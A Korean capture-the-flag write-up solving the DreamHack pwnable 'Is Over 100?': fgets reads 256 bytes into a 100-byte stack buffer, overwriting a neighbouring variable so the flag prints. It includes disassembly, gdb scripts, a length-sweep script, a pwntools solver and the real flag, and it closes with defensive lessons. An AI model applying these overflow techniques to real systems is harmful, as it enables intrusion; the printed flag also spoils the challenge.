문제: DreamHack — Is Over 100? 분류: pwnable 난이도: 🥉 Bronze 3 FLAG:
WaRP{15_0v3r_9000}
문제 설명은 플래그 형식 한 줄이 전부다. 제목이 유일한 힌트인데, "100을 넘겼나?"라고 묻는다.
소스를 열어 보면 100이 뭘 가리키는지는 금방 보인다. char arr2[100] 이다.
보호 기법부터 본다.
file extracted/chall; pwn checksec extracted/chall
그런데 실제로 넘겨 보면 100도, 107도 아니다. 통하는 길이는 106부터 110까지 딱 다섯 개다. 그 좁은 구간이 어디서 나오는지가 이 문제의 전부다.
문제 개요
| 항목 | 내용 |
|---|---|
| 문제명 | Is Over 100? |
| 난이도 | 🥉 Bronze 3 |
| 분류 | pwnable |
| 제공 파일 | chall (ELF64 동적링크, stripped), chall.c, Dockerfile, 더미 flag |
| 서버 | socat TCP-LISTEN:5000,reuseaddr,fork EXEC:./chall,nofork,stderr (ubuntu 18.04) |
| 보호 기법 | NX · No RELRO · No PIE · 스택 카나리 없음 |
| 핵심 취약점 | fgets 길이 인자가 버퍼 크기의 2.56배 — 인접 지역변수 오염 |
| 플래그 형식 | WaRP{...} |
풀이 흐름은 짧다.
fgets(arr2, 0x100, stdin)— 100바이트 버퍼에 256바이트를 받는다.- 넘친 데이터가
arr1을 덮는다.arr3는 반대쪽(낮은 주소)이라 못 닿는다. arr1을 한 바이트만 바꾸면strcmp(arr1, arr3) != 0이 성립해 플래그가 출력된다.- 단, 5바이트만 더 쓰면 그 뒤의
flag버퍼까지 지워진다. 그래서 상한이 생긴다.
🧩 배경 — 지역 변수는 스택 프레임 안에 모여 산다
함수가 호출되면 스택에 그 함수 몫의 공간(프레임)이 잡힌다. 지역 변수·배열·저장된 레지스터가 전부 그 안에 들어간다. x86-64 는 스택이 높은 주소에서 낮은 주소로 자라므로, 프레임은 호출이 깊어질수록 아래로 내려간다.

출처: Wikimedia Commons, Agateller, public domain
그림의 DATA 칸이 지역 변수들이 사는 자리다. 여기서 중요한 건 그 안에서 어떤 변수가 어디
놓이는지는 C 표준이 정해 주지 않는다는 점이다. 컴파일러 마음이다.
버퍼 오버플로를 다룰 때 보통은 DATA 위에 있는 RETURN LINK — 리턴 주소를 노린다.
이 문제는 그럴 필요가 없다. 리턴 주소까지 가기 한참 전에, 같은 DATA 칸 안에 있는 옆 변수를
건드리는 것만으로 목적이 달성된다. 그래서 NX도 PIE도 이 풀이에서는 아무 상관이 없다.
🔬 코드 정찰 — 소스에 다 적혀 있다
배포본에 chall.c 가 통째로 들어 있다. 컴파일 옵션까지 첫 줄 주석에 적혀 있다.
//gcc -fno-pie -fno-stack-protector -no-pie -Wl,-z,norelro example.c -o example
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main() {
char flag[50];
FILE* file = fopen("flag", "r");
fgets(flag, sizeof(flag), file);
char arr1[5] = "asdf";
char arr2[100];
char arr3[5] = "asdf";
initialize();
fgets(arr2, 0x100, stdin);
printf("%s", arr2);
if (strcmp(arr1, arr3) != 0) {
printf("%s", flag);
}
return 0;
}읽을 거리가 세 군데다.
첫째, fgets(arr2, 0x100, stdin). arr2 는 100바이트인데 0x100 = 256바이트를 받는다.
sizeof(arr2) 를 쓰지 않고 숫자를 직접 박은 전형적인 실수다. 넘칠 수 있는 양이 155바이트.
둘째, 승리 조건이 strcmp(arr1, arr3) != 0. 두 배열 모두 "asdf" 로 초기화돼 있으니
가만두면 항상 같다. 둘 중 하나만 틀어지면 된다.
셋째, flag 도 같은 스택 프레임 안에 있다. fopen → fgets 로 미리 읽어 둔 상태다.
읽어 둔 내용이 스택에 그대로 올라와 있다는 뜻이고, 오버플로가 거기까지 가면 플래그 자체가
망가진다. 이게 나중에 상한을 만든다.
선언 순서대로라면 arr3 가 arr2 바로 뒤(높은 주소)에 올 것 같다. 그러면 arr2 를 100바이트
조금 넘겨 쓰면 arr3 가 깨질 테고, 그래서 제목이 "100을 넘겼나?"인 것처럼 읽힌다.
그 가정이 맞는지부터 확인해야 한다.
🧱 핵심 — 실제 스택 배치는 선언 순서와 다르다
바이너리는 stripped 라 main 심볼이 없다. 대신 PIE 가 꺼져 있어서 주소가 고정이고,
PLT 호출만 따라가면 main 을 찾는 건 어렵지 않다. fopen → fgets → strcmp 순서가
나오는 함수가 0x400791 부터다.
핵심 줄에 sed 로 주석을 달아 봤다. 주석 규칙은 work/annot.sed 에 저장해 뒀다.
s|mov DWORD PTR \[rbp-0x45\],0x66647361|& <-- arr1 = "asdf" (rbp-0x45)|
s|mov DWORD PTR \[rbp-0xb5\],0x66647361|& <-- arr3 = "asdf" (rbp-0xb5)|
s|lea rax,\[rbp-0x40\]$|& <-- flag 버퍼 (rbp-0x40)|
s|lea rax,\[rbp-0xb0\]$|& <-- arr2 입력 버퍼 (rbp-0xb0)|
s|mov esi,0x32$|& <-- fgets 길이 0x32 = 50|
s|mov esi,0x100$|& <-- fgets 길이 0x100 = 256 (버퍼는 100)|
s|lea rdx,\[rbp-0xb5\]$|& <-- strcmp 2번째 인자 = arr3|
s|lea rax,\[rbp-0x45\]$|& <-- strcmp 1번째 인자 = arr1|
s|call 4005f0 <strcmp@plt>|& <-- 두 "asdf" 비교|objdump -d -M intel --no-show-raw-insn --start-address=0x400791 --stop-address=0x400855 extracted/chall | sed -f work/annot.sed
0x66647361 이 두 번 나오는 게 arr1 과 arr3 의 초기화다. 리틀엔디언으로 읽으면
61 73 64 66 = "asdf" 고, 바로 다음 줄에서 5번째 바이트에 0 을 넣어 문자열을 끝낸다.
네 버퍼의 오프셋이 이렇게 나온다.
| 변수 | rbp 오프셋 | 크기 |
|---|---|---|
arr3 | rbp-0xb5 | 5 |
arr2 | rbp-0xb0 | 100 |
arr1 | rbp-0x45 | 5 |
flag | rbp-0x40 | 50 |
낮은 주소부터 늘어놓으면 arr3 → arr2 → arr1 → flag 다. 선언 순서가 완전히 뒤집혀 있다.
arr3 가 arr2 보다 5바이트 아래에 있다. 버퍼 오버플로는 주소가 커지는 쪽으로만 번지니까,
아무리 많이 써도 arr3 는 건드릴 수 없다. 노릴 수 있는 건 arr1 하나뿐이고, 그건
0xb0 - 0x45 = 107 바이트 위에 있다.
정적으로 읽은 숫자가 실제 실행에서도 맞는지는 gdb 로 확인한다. arr1/arr3 초기화가 끝나고
arr2 를 읽기 직전인 0x4007ea 에 브레이크를 걸었다.
set pagination off
set confirm off
# 0x4007ea = arr1/arr3 초기화가 끝나고 arr2 를 읽는 fgets 직전
break *0x4007ea
run
printf "arr3 (rbp-0xb5) = %p\n", (char *)($rbp-0xb5)
printf "arr2 (rbp-0xb0) = %p\n", (char *)($rbp-0xb0)
printf "arr1 (rbp-0x45) = %p\n", (char *)($rbp-0x45)
printf "flag (rbp-0x40) = %p\n", (char *)($rbp-0x40)
printf "arr2 -> arr1 = %d bytes\n", (int)((char *)($rbp-0x45) - (char *)($rbp-0xb0))
printf "arr2 -> flag = %d bytes\n", (int)((char *)($rbp-0x40) - (char *)($rbp-0xb0))
printf "arr3 는 arr2 보다 %d bytes 낮다 (오버플로로 못 닿음)\n", (int)((char *)($rbp-0xb0) - (char *)($rbp-0xb5))gdb -q -batch -x offsets.gdb ./chall 2>&1 | grep -vE "libthread_db|^$"
정적 분석과 런타임 값이 일치한다. arr2 기준으로 arr1 은 +107, flag 는 +112 다.
여기까지를 그림으로 정리하면 이렇다.

arr2 끝(rbp-0x4d)과 arr1 시작(rbp-0x45) 사이에 7바이트 정렬 패딩이 끼어 있다.
그래서 100이 아니라 107이 나온다.
🐛 삽질 — 107과 112 사이라고 계산했는데 둘 다 틀렸다
▶🐛 삽질 1 — '108바이트부터 통한다'고 적어 놨다
오프셋을 확인한 직후 작업 메모에 이렇게 적었다.
fgets(arr2,0x100) 이라 155B 초과쓰기 가능 → 108바이트부터 arr1 을 깨
strcmp(arr1,arr3)!=0 성립. 단 flag 는 arr2+112 라 112B 넘게 쓰면
플래그 자체가 날아간다(상한 존재).논리는 이랬다. arr1[0] 이 arr2 + 107 에 있으니 인덱스 0~106까지는 arr2 영역이고,
107번째 바이트를 'a' 가 아닌 값으로 바꿔야 하니 입력이 108바이트는 돼야 한다고 봤다.
그래서 길이를 바꿔 가며 돌려 봤는데 106에서 이미 플래그가 나왔다. 계산보다 두 바이트 빨랐다.
빠뜨린 건 fgets 가 쓰는 건 입력만이 아니라는 점이다. fgets 는 개행 문자까지 버퍼에
넣고, 그 뒤에 널 종결자를 하나 더 붙인다. 입력 n 바이트면 버퍼에 닿는 범위는 [0, n] 이 아니라
[0, n+1] 이다.
그러니 n = 106 이면 arr2[106] = '\n', arr2[107] = '\0' 이 된다. 107번째가 곧 arr1[0] 이니
arr1 은 빈 문자열이 되고, strcmp("", "asdf") 는 당연히 0이 아니다. 내가 일부러 쓴 게 아니라
fgets 가 알아서 붙여 준 널 한 바이트로 조건이 성립한 것이다.
▶🐛 삽질 2 — 상한도 112가 아니라 110이었다
같은 메모에 "112바이트 넘게 쓰면 플래그가 날아간다"고 적어 뒀다. flag 가 arr2 + 112 니까
112까지는 안전하다고 본 것이다.
실제로는 111에서 이미 플래그가 빈 줄로 나온다. 원인은 삽질 1과 같다. 널 종결자가 한 칸
더 가기 때문이다. n = 111 이면 arr2[111] = '\n', arr2[112] = '\0' → flag[0] 이 '\0' 이 되고
printf("%s", flag) 는 아무것도 출력하지 않는다.
흥미로운 건 이 경우 승리 조건 자체는 통과한다는 거다. arr1 은 "AAAA\n" 이라 arr3 와
다르고, if 문 안으로 들어가서 printf 까지 호출된다. 그런데 출력할 문자열이 비어 있다.
화면에는 아무 일도 안 일어난 것처럼 보이니, 조건을 못 맞춘 건지 플래그를 지운 건지
출력만 봐서는 구분이 안 된다.
이것 때문에 "길이를 더 늘리면 되겠지" 하고 위로 올라가면 영영 안 나온다.
널 종결자를 양쪽 다 빠뜨린 셈이라, 하한도 상한도 2씩 틀렸다. 실제 구간을 확인하려고 길이를 1씩 늘려 가며 전수로 돌려 봤다.
#!/usr/bin/env bash
# 입력 길이를 1바이트씩 늘려가며 flag 가 실제로 출력되는 구간을 찾는다.
set -u
cd "$(dirname "$(readlink -f "$0")")"
for n in $(seq 102 114); do
out=$(python3 -c "import sys;sys.stdout.buffer.write(b'A'*$n+b'\n')" | ./chall 2>/dev/null | sed -n '2,$p')
if printf '%s' "$out" | grep -q 'WaRP{'; then
printf '%3d bytes -> %s\n' "$n" "$(printf '%s' "$out")"
else
printf '%3d bytes -> flag 없음 (arr1 == arr3 이거나 flag 가 덮임)\n' "$n"
fi
done./boundary.sh
통하는 구간이 106~110, 다섯 개뿐이다. 제목이 묻는 "100을 넘겼나"는 맞는 말이지만, 넘기기만 해서는 안 되고 얼마나 넘겼는지가 중요하다.
💣 증명 — strcmp 직전에 세 버퍼를 직접 들여다본다
출력만 봐서는 arr1 이 어떻게 깨졌는지, flag 가 멀쩡한지 알 수 없다. strcmp 를 부르기
직전인 0x40082f 에 브레이크를 걸고 세 버퍼를 한 번에 덤프했다.
set pagination off
set confirm off
# 0x40082f = call strcmp@plt — 비교 직전에 세 버퍼를 덤프한다
break *0x40082f
run < payload.bin
printf "arr1 = "
x/s $rbp-0x45
printf "arr3 = "
x/s $rbp-0xb5
printf "flag = "
x/s $rbp-0x40
printf "arr1 raw bytes: "
x/8xb $rbp-0x45#!/usr/bin/env bash
# 입력 N 바이트를 흘려 넣고 strcmp 호출 직전(0x40082f)에서 arr1/arr3/flag 를 덤프한다.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
for n in "$@"; do
python3 -c "import sys;sys.stdout.buffer.write(b'A'*$n+b'\n')" > payload.bin
echo "===== 입력 ${n} bytes ====="
gdb -q -batch -x probe_strcmp.gdb ./chall 2>&1 | grep -vE '^\[|^Breakpoint 1 at|^Using host libthread_db|^$'
done먼저 하한 근처. 105와 106을 나란히 본다.
./probe_strcmp.sh 105 106
105에서는 arr1 의 원시 바이트가 0x61 0x73 0x64 0x66 0x00 — 손도 안 탄 "asdf" 다.
106에서는 첫 바이트만 0x61 → 0x00 으로 바뀌고 나머지 0x73 0x64 0x66 은 그대로다.
딱 한 바이트. 그게 내가 보낸 'A' 가 아니라 fgets 가 붙인 널이라는 게 핵심이다.
양쪽 모두 arr3 는 "asdf" 그대로고, flag 도 "WaRP{fake_flag}" 로 멀쩡하다.
이번엔 상한 근처. 110과 111이다.
./probe_strcmp.sh 110 111
110에서 arr1 은 "AAA\n", flag 는 살아 있다. 111로 한 바이트만 늘리면 arr1 은 "AAAA\n" 이
되어 비교는 여전히 통과하는데 flag 가 "" 로 비었다. arr1 의 원시 바이트를 보면
0x41 0x41 0x41 0x41 0x0a 0x00 으로 널이 flag[0] 자리까지 밀려 나간 게 그대로 보인다.
승리 조건과 플래그 보존이 서로 다른 방향으로 당긴다. 그 둘이 겹치는 구간이 106~110이다.
🎯 로컬 재현 — 배포된 Dockerfile 그대로
여기까지는 로컬 글리브 환경에서 돌린 것이다. 문제 서버는 ubuntu 18.04 라 fgets 구현이
다를 가능성을 배제할 수 없다. 배포본에 Dockerfile 이 들어 있으니 서버와 같은 환경을
그대로 세워서 확인하는 게 빠르다.
FROM ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98
RUN apt-get update
RUN apt-get install -y gcc socat
RUN adduser gshs
ADD ./flag /home/gshs/flag
ADD ./chall /home/gshs/chall
RUN chown -R root:root /home/gshs
RUN chown root:gshs /home/gshs/flag
RUN chown root:gshs /home/gshs/chall
RUN chmod 755 /home/gshs/chall
RUN chmod 440 /home/gshs/flag
WORKDIR /home/gshs
USER gshs
EXPOSE 5000
CMD ["socat", "TCP-LISTEN:5000,reuseaddr,fork", "EXEC:./chall,nofork,stderr"]flag 는 더미(WaRP{fake_flag})라 진짜 플래그는 안 나오지만, 기법이 통하는지 확인하는
데는 충분하다. 빌드와 기동을 스크립트 하나로 묶었다.
#!/usr/bin/env bash
# 배포된 Dockerfile 그대로 빌드해, 문제 서버와 같은 ubuntu 18.04 + socat 환경을 로컬 15000 포트에 띄운다.
set -eu
cd "$(dirname "$(readlink -f "$0")")/.."
docker build -q -t isover100-local extracted
docker run -d --rm --name isover100 -p 15000:5000 isover100-local
sleep 1
docker ps --filter name=isover100 --format 'table {{.Names}}\t{{.Image}}\t{{.Status}}\t{{.Ports}}'./run_local.sh
솔버는 길 필요가 없다. 106바이트를 보내고 응답에서 플래그 패턴을 뽑으면 끝이다. 인자를 안 주면 로컬 바이너리를 직접 띄우고, 호스트와 포트를 주면 그쪽으로 붙는다.
#!/usr/bin/env python3
"""Is Over 100? (DreamHack Bronze 3, pwnable) — solver
arr2(100B) 를 fgets(arr2, 0x100) 로 넘치게 읽는 버그.
main 의 rbp 상대 배치(0x400791 디스어셈블로 확정):
rbp-0xb5 arr3[5] = "asdf" <- arr2 아래라 오버플로로 닿지 않는다
rbp-0xb0 arr2[100] <- 입력 버퍼
rbp-0x45 arr1[5] = "asdf" <- arr2 + 107
rbp-0x40 flag[50] <- arr2 + 112
rbp-0x08 FILE *file
목표는 strcmp(arr1, arr3) != 0 이므로 arr1 만 깨면 된다.
fgets 는 입력 n 바이트 + '\n' 을 쓰고 그 다음에 '\0' 을 붙이므로
n = 106 이면 널 종결자가 정확히 arr1[0] 에 떨어져 arr1 = "" 가 된다.
반대로 n >= 111 이면 종결자가 flag[0] 을 덮어 플래그가 빈 문자열로 출력된다.
따라서 유효 구간은 106 <= n <= 110.
"""
import re
import sys
from pwn import context, remote, process
context.log_level = "info"
PAD = 106 # arr2 시작부터 arr1[0] 까지 = 0xb0 - 0x45 = 107 → 널이 107번째에 떨어지게
FLAG_RE = re.compile(rb"WaRP\{[^}\n]*\}")
def pwn(io):
io.send(b"A" * PAD + b"\n")
data = io.recvall(timeout=5)
io.close()
return data
def main():
if len(sys.argv) >= 3:
io = remote(sys.argv[1], int(sys.argv[2]))
else:
io = process("./extracted/chall")
data = pwn(io)
print(f"[*] 응답 {len(data)} bytes")
m = FLAG_RE.search(data)
if not m:
print("[-] 플래그 패턴 없음. 원본 응답:")
print(data.decode(errors="replace"))
sys.exit(1)
print(f"[+] FLAG: {m.group().decode()}")
if __name__ == "__main__":
main()python3 solve.py 127.0.0.1 15000
ubuntu 18.04 에서도 106바이트가 그대로 통한다. 이제 서버를 열어도 된다.
🚀 라이브 서버
같은 스크립트에 드림핵이 내준 호스트와 포트만 바꿔 넣는다.
python3 solve.py host3.dreamhack.games 18419
WaRP{15_0v3r_9000}. 제목이 묻던 건 100이 아니라 9000이었다.
작업 폴더에는 reproduce.sh 를 같이 넣어 뒀다. 인자 없이 돌리면 도커를 띄워 더미 플래그로
기법 재현만 확인하고, 호스트와 포트를 주면 라이브 서버에서 실제 플래그를 받아 대조한다.
#!/usr/bin/env bash
# Is Over 100? (DreamHack 1842, Bronze 3 pwnable) — 한 방 재현.
#
# ./reproduce.sh 로컬 재현
# 배포된 Dockerfile 로 ubuntu 18.04 + socat 컨테이너를 띄우고 solve.py 를 돌린다.
# 배포본의 flag 는 더미(WaRP{fake_flag}) 이므로 여기서 나오는 것도 더미다.
# 즉 "기법이 재현된다"까지만 증명한다 — 진짜 flag 는 라이브 서버에서만 나온다.
#
# ./reproduce.sh host3.dreamhack.games 18419 라이브 서버 대상
# 이때는 문제.json / state.json 에 적힌 진짜 flag 와 대조한다.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
if [ "$#" -ge 2 ]; then
MODE=remote
EXPECT=$(python3 -c "import json;print(json.load(open('문제.json'))['flag'])" 2>/dev/null || echo '')
OUT=$(timeout 120 python3 solve.py "$1" "$2" 2>&1) || true
else
MODE=local
EXPECT='WaRP{fake_flag}'
docker build -q -t isover100-local extracted
docker run -d --rm --name isover100-repro -p 15099:5000 isover100-local
sleep 2
OUT=$(timeout 120 python3 solve.py 127.0.0.1 15099 2>&1) || true
docker stop isover100-repro
fi
echo "$OUT" | tail -8
FLAG=$(printf '%s' "$OUT" | grep -aoE 'WaRP\{[^}]+\}' | head -1)
if [ -n "$FLAG" ] && { [ -z "$EXPECT" ] || [ "$FLAG" = "$EXPECT" ]; }; then
echo; echo "✅ PASS $FLAG"; exit 0
fi
echo; echo "❌ FAIL (얻은 값: '${FLAG:-없음}' / 기대: '$EXPECT')"; exit 1📝 결론
sizeof 를 안 쓴 순간 버퍼 크기는 두 곳에 적히게 된다
char arr2[100] 과 fgets(arr2, 0x100, ...). 숫자가 서로 다른 진법으로 적혀 있어서
훑어볼 때 더 안 걸린다. 100과 0x100 은 눈으로는 비슷해 보이지만 2.56배 차이다.
길이 인자는 sizeof(buf) 로 적는 게 맞고, 그러면 애초에 두 곳에 적을 일이 없다.
선언 순서는 메모리 배치를 보장하지 않는다
이 문제는 그걸 정면으로 이용한다. 소스만 보고 "arr2 다음이 arr3" 라고 믿으면
닿지도 않는 변수를 계속 노리게 된다. -O0 으로 컴파일해도 컴파일러는 정렬과 크기에 따라
변수를 재배치하고, 버전이 바뀌면 배치도 바뀐다. 오프셋은 매번 디스어셈블이나 디버거로
직접 확인하는 수밖에 없다.
문자열 함수가 쓰는 범위는 내가 넘긴 길이보다 넓다
fgets 는 입력에 개행을 붙이고 그 뒤에 널을 하나 더 쓴다. strcpy·strcat·snprintf 도
각자 널 한 바이트를 더 쓴다. 이번처럼 경계가 1바이트 단위로 갈리는 상황에서는 그 한 칸이
하한과 상한을 모두 2씩 어긋나게 만든다. 공격하는 쪽에서는 "덮을 데이터"만 세다가
한두 칸 모자라 실패하고, 방어하는 쪽에서는 n 바이트만 검사하다 n+1 번째에서 뚫린다.
민감한 데이터를 공격 가능한 버퍼와 같은 프레임에 두지 않는다
여기서는 flag 가 arr2 와 같은 스택 프레임에 있어서, 오버플로가 승리 조건뿐 아니라
플래그 자체에도 닿았다. 덕분에 상한이 생겨 문제가 조금 더 재미있어졌지만, 실제 서비스라면
읽어 둔 비밀이 오염 가능한 버퍼 바로 옆에 놓인 구조다. 읽는 시점을 쓰는 시점 뒤로 미루거나
별도 영역에 두면 그 결합이 끊어진다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…